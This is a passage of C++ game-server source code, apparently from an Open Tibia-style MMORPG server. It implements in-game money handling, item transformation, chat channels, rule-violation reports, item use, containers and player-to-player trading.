                        listContainer.push_back(tmpContainer);
                }
            }
        }

        return (count == 0);
    }

    uint32_t Game::getMoney(const Cylinder* cylinder)
    {
        if(!cylinder)
            return 0;

        std::list<Container*> listContainer;
        Container* tmpContainer = NULL;

        Thing* thing = NULL;
        Item* item = NULL;

        uint32_t moneyCount = 0;
        for(int32_t i = cylinder->__getFirstIndex(); i < cylinder->__getLastIndex(); ++i)
        {
            if(!(thing = cylinder->__getThing(i)))
                continue;

            if(!(item = thing->getItem()))
                continue;

            if((tmpContainer = item->getContainer()))
                listContainer.push_back(tmpContainer);
            else if(item->getWorth() != 0)
                moneyCount += item->getWorth();
        }

        while(listContainer.size() > 0)
        {
            Container* container = listContainer.front();
            listContainer.pop_front();
            for(ItemList::const_iterator it = container->getItems(); it != container->getEnd(); ++it)
            {
                item = *it;
                if((tmpContainer = item->getContainer()))
                    listContainer.push_back(tmpContainer);
                else if(item->getWorth() != 0)
                    moneyCount += item->getWorth();
            }
        }

        return moneyCount;
    }

    bool Game::removeMoney(Cylinder* cylinder, int32_t money, uint32_t flags /*= 0*/)
    {
        if(!cylinder)
            return false;

        if(money <= 0)
            return true;

        typedef std::multimap<int32_t, Item*, std::less<int32_t> > MoneyMultiMap;
        MoneyMultiMap moneyMap;

        std::list<Container*> listContainer;
        Container* tmpContainer = NULL;

        Thing* thing = NULL;
        Item* item = NULL;

        int32_t moneyCount = 0;
        for(int32_t i = cylinder->__getFirstIndex(); i < cylinder->__getLastIndex() && money > 0; ++i)
        {
            if(!(thing = cylinder->__getThing(i)))
                continue;

            if(!(item = thing->getItem()))
                continue;

            if((tmpContainer = item->getContainer()))
                listContainer.push_back(tmpContainer);
            else if(item->getWorth() != 0)
            {
                moneyCount += item->getWorth();
                moneyMap.insert(std::make_pair(item->getWorth(), item));
            }
        }

        while(listContainer.size() > 0 && money > 0)
        {
            Container* container = listContainer.front();
            listContainer.pop_front();
            for(int32_t i = 0; i < (int32_t)container->size() && money > 0; i++)
            {
                Item* item = container->getItem(i);
                if((tmpContainer = item->getContainer()))
                    listContainer.push_back(tmpContainer);
                else if(item->getWorth() != 0)
                {
                    moneyCount += item->getWorth();
                    moneyMap.insert(std::make_pair(item->getWorth(), item));
                }
            }
        }

        // Not enough money
        if(moneyCount < money)
            return false;

        for(MoneyMultiMap::iterator mit = moneyMap.begin(); mit != moneyMap.end() && money > 0; ++mit)
        {
            Item* item = mit->second;
            if(!item)
                continue;

            internalRemoveItem(NULL, item);
            if(mit->first > money)
            {
                // Remove a monetary value from an item
                int32_t remaind = item->getWorth() - money;
                addMoney(cylinder, remaind, flags);
                money = 0;
            }
            else
                money -= mit->first;

            mit->second = NULL;
        }

        moneyMap.clear();
        return money == 0;
    }

    void Game::addMoney(Cylinder* cylinder, int32_t money, uint32_t flags /*= 0*/)
    {
        IntegerMap moneyMap = Item::items.getMoneyMap();
        int32_t tmp = 0;
        for(IntegerMap::reverse_iterator it = moneyMap.rbegin(); it != moneyMap.rend(); ++it)
        {
            tmp = money / it->first;
            money -= tmp * it->first;
            if(tmp != 0)
            {
                do
                {
                    Item* remaindItem = Item::CreateItem(it->second, std::min(100, tmp));
                    if(internalAddItem(NULL, cylinder, remaindItem, INDEX_WHEREEVER, flags) != RET_NOERROR)
                        internalAddItem(NULL, cylinder->getTile(), remaindItem, INDEX_WHEREEVER, FLAG_NOLIMIT);

                    tmp -= std::min(100, tmp);
                }
                while(tmp > 0);
            }
        }
    }

    Item* Game::transformItem(Item* item, uint16_t newId, int32_t newCount /*= -1*/)
    {
        if(item->getID() == newId && (newCount == -1 || (newCount == item->getSubType() && newCount != 0)))
            return item;

        Cylinder* cylinder = item->getParent();
        if(!cylinder)
            return NULL;

        int32_t itemIndex = cylinder->__getIndexOfThing(item);
        if(itemIndex == -1)
        {
    #ifdef __DEBUG__
            std::cout << "Error: transformItem, itemIndex == -1" << std::endl;
    #endif
            return item;
        }

        if(!item->canTransform())
            return item;

        const ItemType& curType = Item::items[item->getID()];
        const ItemType& newType = Item::items[newId];
        if(curType.alwaysOnTop != newType.alwaysOnTop)
        {
            //This only occurs when you transform items on tiles from a downItem to a topItem (or vice versa)
            //Remove the old, and add the new
            ReturnValue ret = internalRemoveItem(NULL, item);
            if(ret != RET_NOERROR)
                return item;

            Item* newItem = NULL;
            if(newCount == -1)
                newItem = Item::CreateItem(newId);
            else
                newItem = Item::CreateItem(newId, newCount);

            if(!newItem)
                return NULL;

            newItem->copyAttributes(item);
            if(internalAddItem(NULL, cylinder, newItem, INDEX_WHEREEVER, FLAG_NOLIMIT) == RET_NOERROR)
                return newItem;

            delete newItem;
            return NULL;
        }

        if(curType.type == newType.type)
        {
            //Both items has the same type so we can safely change id/subtype
            if(!newCount && (item->isStackable() || item->hasCharges()))
            {
                if(!item->isStackable() && (!item->getDefaultDuration() || item->getDuration() <= 0))
                {
                    int32_t tmpId = newId;
                    if(curType.id == newType.id)
                        tmpId = curType.decayTo;

                    if(tmpId != -1)
                    {
                        item = transformItem(item, tmpId);
                        return item;
                    }
                }

                internalRemoveItem(NULL, item);
                return NULL;
            }

            uint16_t itemId = item->getID();
            int32_t count = item->getSubType();

            cylinder->postRemoveNotification(NULL, item, cylinder, itemIndex, false);
            if(curType.id != newType.id)
            {
                itemId = newId;
                if(newType.group != curType.group)
                    item->setDefaultSubtype();
            }

            if(newCount != -1 && newType.hasSubType())
                count = newCount;

            cylinder->__updateThing(item, itemId, count);
            cylinder->postAddNotification(NULL, item, cylinder, itemIndex);
            return item;
        }

        //Replacing the the old item with the new while maintaining the old position
        Item* newItem = NULL;
        if(newCount == -1)
            newItem = Item::CreateItem(newId);
        else
            newItem = Item::CreateItem(newId, newCount);

        if(!newItem)
        {
            #ifdef __DEBUG__
            std::cout << "Error: [Game::transformItem] Item of type " << item->getID() << " transforming into invalid type " << newId << std::endl;
            #endif
            return NULL;
        }

        cylinder->__replaceThing(itemIndex, newItem);
        cylinder->postAddNotification(NULL, newItem, cylinder, itemIndex);

        item->setParent(NULL);
        cylinder->postRemoveNotification(NULL, item, cylinder, itemIndex, true);

        freeThing(item);
        return newItem;
    }

    ReturnValue Game::internalTeleport(Thing* thing, const Position& newPos, bool pushMove, uint32_t flags /*= 0*/)
    {
        if(newPos == thing->getPosition())
            return RET_NOERROR;

        if(thing->isRemoved())
            return RET_NOTPOSSIBLE;

        if(Tile* toTile = map->getTile(newPos))
        {
            if(Creature* creature = thing->getCreature())
            {
                if(Position::areInRange<1,1,0>(creature->getPosition(), newPos) && pushMove)
                    creature->getTile()->moveCreature(NULL, creature, toTile, false);
                else
                    creature->getTile()->moveCreature(NULL, creature, toTile, true);

                return RET_NOERROR;
            }

            if(Item* item = thing->getItem())
                return internalMoveItem(NULL, item->getParent(), toTile, INDEX_WHEREEVER, item, item->getItemCount(), NULL, flags);
        }

        return RET_NOTPOSSIBLE;
    }

    //Implementation of player invoked events
    bool Game::playerMove(uint32_t playerId, Direction dir)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        if(player->getNoMove())
        {
            player->sendCancelWalk();
            return false;
        }

        player->stopWalk();
        int32_t delay = player->getWalkDelay(dir);
        if(delay > 0)
        {
            player->setNextAction(OTSYS_TIME() + player->getStepDuration(dir) - SCHEDULER_MINTICKS);
            if(SchedulerTask* task = createSchedulerTask(((uint32_t)delay),
                boost::bind(&Game::playerMove, this, playerId, dir)))
                player->setNextWalkTask(task);

            return false;
        }

        player->setFollowCreature(NULL);
        player->onWalk(dir);

        player->setIdleTime(0);
        return internalMoveCreature(player, dir) == RET_NOERROR;
    }

    bool Game::playerBroadcastMessage(Player* player, SpeakClasses type, const std::string& text)
    {
        if(!player->hasFlag(PlayerFlag_CanBroadcast) || type < SPEAK_CLASS_FIRST || type > SPEAK_CLASS_LAST)
            return false;

        for(AutoList<Player>::iterator it = Player::autoList.begin(); it != Player::autoList.end(); ++it)
            it->second->sendCreatureSay(player, type, text);

        //TODO: event handling - onCreatureSay
        std::cout << "> " << player->getName() << " broadcasted: \"" << text << "\"." << std::endl;
        return true;
    }

    bool Game::playerCreatePrivateChannel(uint32_t playerId)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved() || !player->isPremium())
            return false;

        ChatChannel* channel = g_chat.createChannel(player, 0xFFFF);
        if(!channel || !channel->addUser(player))
            return false;

        player->sendCreatePrivateChannel(channel->getId(), channel->getName());
        return true;
    }

    bool Game::playerChannelInvite(uint32_t playerId, const std::string& name)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        PrivateChatChannel* channel = g_chat.getPrivateChannel(player);
        if(!channel)
            return false;

        Player* invitePlayer = getPlayerByName(name);
        if(!invitePlayer)
            return false;

        channel->invitePlayer(player, invitePlayer);
        return true;
    }

    bool Game::playerChannelExclude(uint32_t playerId, const std::string& name)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        PrivateChatChannel* channel = g_chat.getPrivateChannel(player);
        if(!channel)
            return false;

        Player* excludePlayer = getPlayerByName(name);
        if(!excludePlayer)
            return false;

        channel->excludePlayer(player, excludePlayer);
        return true;
    }

    bool Game::playerRequestChannels(uint32_t playerId)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        player->sendChannelsDialog();
        return true;
    }

    bool Game::playerOpenChannel(uint32_t playerId, uint16_t channelId)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        ChatChannel* channel = g_chat.addUserToChannel(player, channelId);
        if(!channel)
        {
            #ifdef __DEBUG_CHAT__
            std::cout << "Game::playerOpenChannel - failed adding user to channel." << std::endl;
            #endif
            return false;
        }

        if(channel->getId() != CHANNEL_RVR)
            player->sendChannel(channel->getId(), channel->getName());
        else
            player->sendRuleViolationsChannel(channel->getId());

        return true;
    }

    bool Game::playerCloseChannel(uint32_t playerId, uint16_t channelId)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        g_chat.removeUserFromChannel(player, channelId);
        return true;
    }

    bool Game::playerOpenPrivateChannel(uint32_t playerId, std::string& receiver)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        if(IOLoginData::getInstance()->playerExists(receiver))
            player->sendOpenPrivateChannel(receiver);
        else
            player->sendCancel("A player with this name does not exist.");

        return true;
    }

    bool Game::playerProcessRuleViolation(uint32_t playerId, const std::string& name)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        if(!player->hasFlag(PlayerFlag_CanAnswerRuleViolations))
            return false;

        Player* reporter = getPlayerByName(name);
        if(!reporter)
            return false;

        RuleViolationsMap::iterator it = ruleViolations.find(reporter->getID());
        if(it == ruleViolations.end())
            return false;

        RuleViolation& rvr = *it->second;
        if(!rvr.isOpen)
            return false;

        rvr.isOpen = false;
        rvr.gamemaster = player;
        if(ChatChannel* channel = g_chat.getChannelById(CHANNEL_RVR))
        {
            UsersMap tmpMap = channel->getUsers();
            for(UsersMap::iterator tit = tmpMap.begin(); tit != tmpMap.end(); ++tit)
                tit->second->sendRemoveReport(reporter->getName());
        }

        return true;
    }

    bool Game::playerCloseRuleViolation(uint32_t playerId, const std::string& name)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        Player* reporter = getPlayerByName(name);
        if(!reporter)
            return false;

        return closeRuleViolation(reporter);
    }

    bool Game::playerCancelRuleViolation(uint32_t playerId)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        return cancelRuleViolation(player);
    }

    bool Game::playerCloseNpcChannel(uint32_t playerId)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        SpectatorVec list;
        SpectatorVec::iterator it;

        getSpectators(list, player->getPosition());
        Npc* npc = NULL;
        for(it = list.begin(); it != list.end(); ++it)
        {
            if((npc = (*it)->getNpc()))
                npc->onPlayerCloseChannel(player);
        }

        return true;
    }

    bool Game::playerReceivePing(uint32_t playerId)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        player->receivePing();
        return true;
    }

    bool Game::playerAutoWalk(uint32_t playerId, std::list<Direction>& listDir)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        player->setIdleTime(0);
        if(player->hasCondition(CONDITION_GAMEMASTER, GAMEMASTER_TELEPORT))
        {
            Position pos = player->getPosition();
            for(std::list<Direction>::iterator it = listDir.begin(); it != listDir.end(); ++it)
                pos = getNextPosition((*it), pos);

            pos = getClosestFreeTile(player, pos, true, false);
            if(!pos.x || !pos.y)
            {
                player->sendCancelWalk();
                return false;
            }

            internalCreatureTurn(player, getDirectionTo(player->getPosition(), pos, false));
            internalTeleport(player, pos, false);
            return true;
        }

        player->setNextWalkTask(NULL);
        return player->startAutoWalk(listDir);
    }

    bool Game::playerStopAutoWalk(uint32_t playerId)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        player->stopWalk();
        return true;
    }

    bool Game::playerUseItemEx(uint32_t playerId, const Position& fromPos, int16_t fromStackpos, uint16_t fromSpriteId,
        const Position& toPos, int16_t toStackpos, uint16_t toSpriteId, bool isHotkey)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        if(isHotkey && !g_config.getBool(ConfigManager::AIMBOT_HOTKEY_ENABLED))
            return false;

        Thing* thing = internalGetThing(player, fromPos, fromStackpos, fromSpriteId, STACKPOS_USEITEM);
        if(!thing)
        {
            player->sendCancelMessage(RET_NOTPOSSIBLE);
            return false;
        }

        Item* item = thing->getItem();
        if(!item || !item->isUseable())
        {
            player->sendCancelMessage(RET_CANNOTUSETHISOBJECT);
            return false;
        }

        Position walkToPos = fromPos;
        ReturnValue ret = g_actions->canUse(player, fromPos);
        if(ret == RET_NOERROR)
        {
            ret = g_actions->canUse(player, toPos, item);
            if(ret == RET_TOOFARAWAY)
                walkToPos = toPos;
        }

        if(ret != RET_NOERROR)
        {
            if(ret == RET_TOOFARAWAY)
            {
                Position itemPos = fromPos;
                int16_t itemStackpos = fromStackpos;
                if(fromPos.x != 0xFFFF && toPos.x != 0xFFFF && Position::areInRange<1,1,0>(fromPos,
                    player->getPosition()) && !Position::areInRange<1,1,0>(fromPos, toPos))
                {
                    Item* moveItem = NULL;
                    ReturnValue retTmp = internalMoveItem(player, item->getParent(), player,
                        INDEX_WHEREEVER, item, item->getItemCount(), &moveItem);
                    if(retTmp != RET_NOERROR)
                    {
                        player->sendCancelMessage(retTmp);
                        return false;
                    }

                    //changing the position since its now in the inventory of the player
                    internalGetPosition(moveItem, itemPos, itemStackpos);
                }

                std::list<Direction> listDir;
                if(getPathToEx(player, walkToPos, listDir, 0, 1, true, true, 10))
                {
                    Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::playerAutoWalk,
                        this, player->getID(), listDir)));

                    SchedulerTask* task = createSchedulerTask(400, boost::bind(&Game::playerUseItemEx, this,
                        playerId, itemPos, itemStackpos, fromSpriteId, toPos, toStackpos, toSpriteId, isHotkey));

                    player->setNextWalkActionTask(task);
                    return true;
                }

                ret = RET_THEREISNOWAY;
            }

            player->sendCancelMessage(ret);
            return false;
        }

        if(isHotkey)
            showHotkeyUseMessage(player, item);

        if(!player->canDoAction())
        {
            uint32_t delay = player->getNextActionTime();
            SchedulerTask* task = createSchedulerTask(delay, boost::bind(&Game::playerUseItemEx, this,
                playerId, fromPos, fromStackpos, fromSpriteId, toPos, toStackpos, toSpriteId, isHotkey));

            player->setNextActionTask(task);
            return false;
        }

        player->setIdleTime(0);
        player->setNextActionTask(NULL);
        return g_actions->useItemEx(player, fromPos, toPos, toStackpos, item, isHotkey);
    }

    bool Game::playerUseItem(uint32_t playerId, const Position& pos, int16_t stackpos,
        uint8_t index, uint16_t spriteId, bool isHotkey)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        if(isHotkey && !g_config.getBool(ConfigManager::AIMBOT_HOTKEY_ENABLED))
            return false;

        Thing* thing = internalGetThing(player, pos, stackpos, spriteId, STACKPOS_USEITEM);
        if(!thing)
        {
            player->sendCancelMessage(RET_NOTPOSSIBLE);
            return false;
        }

        Item* item = thing->getItem();
        if(!item || item->isUseable())
        {
            player->sendCancelMessage(RET_CANNOTUSETHISOBJECT);
            return false;
        }

        ReturnValue ret = g_actions->canUse(player, pos);
        if(ret != RET_NOERROR)
        {
            if(ret == RET_TOOFARAWAY)
            {
                std::list<Direction> listDir;
                if(getPathToEx(player, pos, listDir, 0, 1, true, true))
                {
                    Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::playerAutoWalk,
                        this, player->getID(), listDir)));

                    SchedulerTask* task = createSchedulerTask(400, boost::bind(&Game::playerUseItem, this,
                        playerId, pos, stackpos, index, spriteId, isHotkey));

                    player->setNextWalkActionTask(task);
                    return true;
                }

                ret = RET_THEREISNOWAY;
            }

            player->sendCancelMessage(ret);
            return false;
        }

        if(isHotkey)
            showHotkeyUseMessage(player, item);

        if(!player->canDoAction())
        {
            uint32_t delay = player->getNextActionTime();
            SchedulerTask* task = createSchedulerTask(delay, boost::bind(&Game::playerUseItem, this,
                playerId, pos, stackpos, index, spriteId, isHotkey));

            player->setNextActionTask(task);
            return false;
        }

        player->setIdleTime(0);
        player->setNextActionTask(NULL);
        return g_actions->useItem(player, pos, index, item);
    }

    bool Game::playerUseBattleWindow(uint32_t playerId, const Position& fromPos, int16_t fromStackpos,
        uint32_t creatureId, uint16_t spriteId, bool isHotkey)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        Creature* creature = getCreatureByID(creatureId);
        if(!creature)
            return false;

        if(!Position::areInRange<7,5,0>(creature->getPosition(), player->getPosition()))
            return false;

        if(!g_config.getBool(ConfigManager::AIMBOT_HOTKEY_ENABLED) && (creature->getPlayer() || isHotkey))
        {
            player->sendCancelMessage(RET_DIRECTPLAYERSHOOT);
            return false;
        }

        Thing* thing = internalGetThing(player, fromPos, fromStackpos, spriteId, STACKPOS_USE);
        if(!thing)
        {
            player->sendCancelMessage(RET_NOTPOSSIBLE);
            return false;
        }

        Item* item = thing->getItem();
        if(!item || item->getClientID() != spriteId)
        {
            player->sendCancelMessage(RET_CANNOTUSETHISOBJECT);
            return false;
        }

        ReturnValue ret = g_actions->canUse(player, fromPos);
        if(ret != RET_NOERROR)
        {
            if(ret == RET_TOOFARAWAY)
            {
                std::list<Direction> listDir;
                if(getPathToEx(player, item->getPosition(), listDir, 0, 1, true, true))
                {
                    Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::playerAutoWalk,
                        this, player->getID(), listDir)));

                    SchedulerTask* task = createSchedulerTask(400, boost::bind(&Game::playerUseBattleWindow, this,
                        playerId, fromPos, fromStackpos, creatureId, spriteId, isHotkey));

                    player->setNextWalkActionTask(task);
                    return true;
                }

                ret = RET_THEREISNOWAY;
            }

            player->sendCancelMessage(ret);
            return false;
        }

        if(isHotkey)
            showHotkeyUseMessage(player, item);

        if(!player->canDoAction())
        {
            uint32_t delay = player->getNextActionTime();
            SchedulerTask* task = createSchedulerTask(delay, boost::bind(&Game::playerUseBattleWindow, this,
                playerId, fromPos, fromStackpos, creatureId, spriteId, isHotkey));

            player->setNextActionTask(task);
            return false;
        }

        player->setIdleTime(0);
        player->setNextActionTask(NULL);
        return g_actions->useItemEx(player, fromPos, creature->getPosition(),
            creature->getParent()->__getIndexOfThing(creature), item, isHotkey, creatureId);
    }

    bool Game::playerCloseContainer(uint32_t playerId, uint8_t cid)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        player->closeContainer(cid);
        player->sendCloseContainer(cid);
        return true;
    }

    bool Game::playerMoveUpContainer(uint32_t playerId, uint8_t cid)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        Container* container = player->getContainer(cid);
        if(!container)
            return false;

        Container* parentContainer = dynamic_cast<Container*>(container->getParent());
        if(!parentContainer)
            return false;

        player->addContainer(cid, parentContainer);
        player->sendContainer(cid, parentContainer, (dynamic_cast<const Container*>(parentContainer->getParent()) != NULL));
        return true;
    }

    bool Game::playerUpdateTile(uint32_t playerId, const Position& pos)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        if(!player->canSee(pos))
            return false;

        if(Tile* tile = getTile(pos))
            player->sendUpdateTile(tile, pos);

        return true;
    }

    bool Game::playerUpdateContainer(uint32_t playerId, uint8_t cid)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        Container* container = player->getContainer(cid);
        if(!container)
            return false;

        player->sendContainer(cid, container, (dynamic_cast<const Container*>(container->getParent()) != NULL));
        return true;
    }

    bool Game::playerRotateItem(uint32_t playerId, const Position& pos, int16_t stackpos, const uint16_t spriteId)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        Thing* thing = internalGetThing(player, pos, stackpos);
        if(!thing)
            return false;

        Item* item = thing->getItem();
        if(!item || item->getClientID() != spriteId || !item->isRoteable() || (item->isLoadedFromMap() &&
            (item->getUniqueId() != 0 || (item->getActionId() != 0 && item->getContainer()))))
        {
            player->sendCancelMessage(RET_NOTPOSSIBLE);
            return false;
        }

        if(pos.x != 0xFFFF && !Position::areInRange<1,1,0>(pos, player->getPosition()))
        {
            std::list<Direction> listDir;
            if(getPathToEx(player, pos, listDir, 0, 1, true, true))
            {
                Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::playerAutoWalk,
                    this, player->getID(), listDir)));

                SchedulerTask* task = createSchedulerTask(400, boost::bind(&Game::playerRotateItem, this,
                    playerId, pos, stackpos, spriteId));

                player->setNextWalkActionTask(task);
                return true;
            }

            player->sendCancelMessage(RET_THEREISNOWAY);
            return false;
        }

        uint16_t newId = Item::items[item->getID()].rotateTo;
        if(newId != 0)
            transformItem(item, newId);

        player->setIdleTime(0);
        return true;
    }

    bool Game::playerWriteItem(uint32_t playerId, uint32_t windowTextId, const std::string& text)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        uint16_t maxTextLength = 0;
        uint32_t internalWindowTextId = 0;

        Item* writeItem = player->getWriteItem(internalWindowTextId, maxTextLength);
        if(text.length() > maxTextLength || windowTextId != internalWindowTextId)
            return false;

        if(!writeItem || writeItem->isRemoved())
        {
            player->sendCancelMessage(RET_NOTPOSSIBLE);
            return false;
        }

        Cylinder* topParent = writeItem->getTopParent();
        Player* owner = dynamic_cast<Player*>(topParent);
        if(owner && owner != player)
        {
            player->sendCancelMessage(RET_NOTPOSSIBLE);
            return false;
        }

        if(!Position::areInRange<1,1,0>(writeItem->getPosition(), player->getPosition()))
        {
            player->sendCancelMessage(RET_NOTPOSSIBLE);
            return false;
        }

        bool deny = false;
        CreatureEventList textEditEvents = player->getCreatureEvents(CREATURE_EVENT_TEXTEDIT);
        for(CreatureEventList::iterator it = textEditEvents.begin(); it != textEditEvents.end(); ++it)
        {
            if(!(*it)->executeTextEdit(player, writeItem, text))
                deny = true;
        }

        if(deny)
            return false;

        if(!text.empty())
        {
            if(writeItem->getText() != text)
            {
                writeItem->setText(text);
                writeItem->setWriter(player->getName());
                writeItem->setDate(std::time(NULL));
            }
        }
        else
        {
            writeItem->resetText();
            writeItem->resetWriter();
            writeItem->resetDate();
        }

        uint16_t newId = Item::items[writeItem->getID()].writeOnceItemId;
        if(newId != 0)
            transformItem(writeItem, newId);

        player->setWriteItem(NULL);
        return true;
    }

    bool Game::playerUpdateHouseWindow(uint32_t playerId, uint8_t listId, uint32_t windowTextId, const std::string& text)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        uint32_t internalWindowTextId = 0;
        uint32_t internalListId = 0;

        House* house = player->getEditHouse(internalWindowTextId, internalListId);
        if(house && internalWindowTextId == windowTextId && listId == 0)
        {
            house->setAccessList(internalListId, text);
            player->setEditHouse(NULL);
        }

        return true;
    }

    bool Game::playerRequestTrade(uint32_t playerId, const Position& pos, int16_t stackpos,
        uint32_t tradePlayerId, uint16_t spriteId)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        Player* tradePartner = getPlayerByID(tradePlayerId);
        if(!tradePartner || tradePartner == player)
        {
            player->sendTextMessage(MSG_INFO_DESCR, "Sorry, not possible.");
            return false;
        }

        if(!Position::areInRange<2,2,0>(tradePartner->getPosition(), player->getPosition()))
        {
            std::stringstream ss;
            ss << tradePartner->getName() << " tells you to move closer.";
            player->sendTextMessage(MSG_INFO_DESCR, ss.str());
            return false;
        }

        Item* tradeItem = dynamic_cast<Item*>(internalGetThing(player, pos, stackpos, spriteId, STACKPOS_USE));
        if(!tradeItem || tradeItem->getClientID() != spriteId || !tradeItem->isPickupable() || (tradeItem->isLoadedFromMap() &&
            (tradeItem->getUniqueId() != 0 || (tradeItem->getActionId() != 0 && tradeItem->getContainer()))))
        {
            player->sendCancelMessage(RET_NOTPOSSIBLE);
            return false;
        }

        if(player->getPosition().z > tradeItem->getPosition().z)
        {
            player->sendCancelMessage(RET_FIRSTGOUPSTAIRS);
            return false;
        }

        if(player->getPosition().z < tradeItem->getPosition().z)
        {
            player->sendCancelMessage(RET_FIRSTGODOWNSTAIRS);
            return false;
        }

        if(!Position::areInRange<1,1,0>(tradeItem->getPosition(), player->getPosition()))
        {
            std::list<Direction> listDir;
            if(getPathToEx(player, pos, listDir, 0, 1, true, true))
            {
                Dispatcher::getInstance().addTask(createTask(boost::bind(&Game::playerAutoWalk,
                    this, player->getID(), listDir)));

                SchedulerTask* task = createSchedulerTask(400, boost::bind(&Game::playerRequestTrade, this,
                    playerId, pos, stackpos, tradePlayerId, spriteId));

                player->setNextWalkActionTask(task);
                return true;
            }

            player->sendCancelMessage(RET_THEREISNOWAY);
            return false;
        }

        const Container* container = NULL;
        for(std::map<Item*, uint32_t>::const_iterator it = tradeItems.begin(); it != tradeItems.end(); it++)
        {
            if(tradeItem == it->first ||
                ((container = dynamic_cast<const Container*>(tradeItem)) && container->isHoldingItem(it->first)) ||
                ((container = dynamic_cast<const Container*>(it->first)) && container->isHoldingItem(tradeItem)))
            {
                player->sendTextMessage(MSG_INFO_DESCR, "This item is already being traded.");
                return false;
            }
        }

        Container* tradeContainer = tradeItem->getContainer();
        if(tradeContainer && tradeContainer->getItemHoldingCount() + 1 > 100)
        {
            player->sendTextMessage(MSG_INFO_DESCR, "You cannot trade more than 100 items.");
            return false;
        }

        bool deny = false;
        CreatureEventList tradeEvents = player->getCreatureEvents(CREATURE_EVENT_TRADE_REQUEST);
        for(CreatureEventList::iterator it = tradeEvents.begin(); it != tradeEvents.end(); ++it)
        {
            if(!(*it)->executeTradeRequest(player, tradePartner, tradeItem))
                deny = true;
        }

        if(deny)
            return false;

        return internalStartTrade(player, tradePartner, tradeItem);
    }

    bool Game::internalStartTrade(Player* player, Player* tradePartner, Item* tradeItem)
    {
        if(player->tradeState != TRADE_NONE && !(player->tradeState == TRADE_ACKNOWLEDGE && player->tradePartner == tradePartner))
        {
            player->sendCancelMessage(RET_YOUAREALREADYTRADING);
            return false;
        }
        else if(tradePartner->tradeState != TRADE_NONE && tradePartner->tradePartner != player)
        {
            player->sendCancelMessage(RET_THISPLAYERISALREADYTRADING);
            return false;
        }

        player->tradePartner = tradePartner;
        player->tradeItem = tradeItem;
        player->tradeState = TRADE_INITIATED;

        tradeItem->addRef();
        tradeItems[tradeItem] = player->getID();

        player->sendTradeItemRequest(player, tradeItem, true);
        if(tradePartner->tradeState == TRADE_NONE)
        {
            char buffer[100];
            sprintf(buffer, "%s wants to trade with you", player->getName().c_str());
            tradePartner->sendTextMessage(MSG_INFO_DESCR, buffer);
            tradePartner->tradeState = TRADE_ACKNOWLEDGE;
            tradePartner->tradePartner = player;
        }
        else
        {
            Item* counterOfferItem = tradePartner->tradeItem;
            player->sendTradeItemRequest(tradePartner, counterOfferItem, false);
            tradePartner->sendTradeItemRequest(player, tradeItem, false);
        }

        return true;
    }

    bool Game::playerAcceptTrade(uint32_t playerId)
    {
        Player* player = getPlayerByID(playerId);
        if(!player || player->isRemoved())
            return false;

        if(!(player->getTradeState() == TRADE_ACKNOWLEDGE || player->getTradeState() == TRADE_INITIATED))
            return false;

        player->setTradeState(TRADE_ACCEPT);
        Player* tradePartner = player->tradePartner;
        if(!tradePartner || tradePartner->getTradeState() != TRADE_ACCEPT)
            return false;

        Item* tradeItem1 = player->tradeItem;
        Item* tradeItem2 = tradePartner->tradeItem;

        bool deny = false;
        CreatureEventList tradeEvents = player->getCreatureEvents(CREATURE_EVENT_TRADE_ACCEPT);
        for(CreatureEventList::iterator it = tradeEvents.begin(); it != tradeEvents.end(); ++it)
        {
            if(!(*it)->executeTradeAccept(player, tradePartner, tradeItem1, tradeItem2))
                deny = true;
        }

        if(deny)
            return false;

        player->setTradeState(TRADE_TRANSFER);
        tradePartner->setTradeState(TRADE_TRANSFER);

        std::map<Item*, uint32_t>::iterator it = tradeItems.find(tradeItem1);
        if(it != tradeItems.end())
        {
            freeThing(it->first);
            tradeItems.erase(it);
        }

        it = tradeItems.find(tradeItem2);
        if(it != tradeItems.end())
        {
            freeThing(it->first);
            tradeItems.erase(it);
        }

        ReturnValue ret1 = internalAddItem(player, tradePartner, tradeItem1, INDEX_WHEREEVER, 0, true);
        ReturnValue ret2 = internalAddItem(tradePartner, player, tradeItem2, INDEX_WHEREEVER, 0, true);

        bool isSuccess = false;
        if(ret1 == RET_NOERROR && ret2 == RET_NOERROR)
        {
            ret1 = internalRemoveItem(tradePartner, tradeItem1, tradeItem1->getItemCount(), true);
